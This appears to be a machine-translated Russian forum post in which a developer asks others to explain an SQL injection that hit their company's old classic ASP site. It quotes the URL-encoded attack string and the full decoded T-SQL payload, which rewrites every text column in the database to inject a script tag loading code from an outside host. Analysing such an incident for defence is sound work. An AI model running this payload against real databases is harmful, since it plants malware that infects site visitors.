Я хотел бы опубликовать это здесь, так как оно очень сильно связано с кодированием, и на этой неделе мне пришлось кое-что почистить на одном из старых ASP (классических) сайтов моей компании.
Мы получили удар по SQLАтака с использованием инъекций, которая была проведена всего несколько дней назад, но я ломаю голову, ЧТО именно «повреждение» нанесло SQL-серверу (через эти SQL-запросы).
Честно говоря, я думал, что этоочень гениально, как это было реализовано, и моя компания виновата в том, что у него был старый 10-летний сайт с минимальным или нулевым санитарным воздействием.
Атака:
122 + объявить +% 40s + varchar% 284000% 29 + установить +% 40s% 3Dcast% + as + varchar% 284000% 29% 29 + exec% 28% 40s% 29-
Что он декодирует в: (что я хочу понять)
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Мы восстановили резервную копию (предварительное внедрение), прошли все приложение и очистиливсе входные операторы.Наш сервер защищен брандмауэром, поэтому прямого доступа к SQL нет, однако я хочу знать, что еще можно оставить, и я должен признать, что запрос SQL у меня над головой.
Может кто-то взломать его иобъясните мне атаку SQL?
Извинения Я ОБНОВИЛ ПОЛНЫЙ DUMP & SQL